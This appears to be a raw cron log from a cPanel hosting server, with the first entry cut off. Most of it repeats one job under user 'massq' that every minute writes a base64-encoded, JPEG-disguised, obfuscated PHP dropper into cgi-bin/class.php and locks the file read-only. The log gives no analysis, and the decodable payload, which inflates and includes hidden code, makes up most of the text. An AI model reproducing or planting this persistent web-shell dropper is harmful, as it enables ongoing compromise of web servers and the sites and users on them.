7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:40:01 server CROND[17149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:40:01 server CROND[17150]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 22:40:01 server CROND[17151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:40:01 server CROND[17152]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:41:01 server CROND[17283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:42:01 server CROND[17352]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 22:42:01 server CROND[17354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:43:01 server CROND[17424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:44:01 server CROND[17489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:45:01 server CROND[17647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:45:01 server CROND[17648]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:45:01 server CROND[17646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:46:01 server CROND[17757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:47:02 server CROND[17823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:48:01 server CROND[17887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:49:01 server CROND[17970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:50:01 server CROND[18142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 22:50:01 server CROND[18143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 22:50:01 server CROND[18144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 22:50:01 server CROND[18148]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 22:50:01 server CROND[18149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:51:01 server CROND[18263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 22:52:01 server CROND[18329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
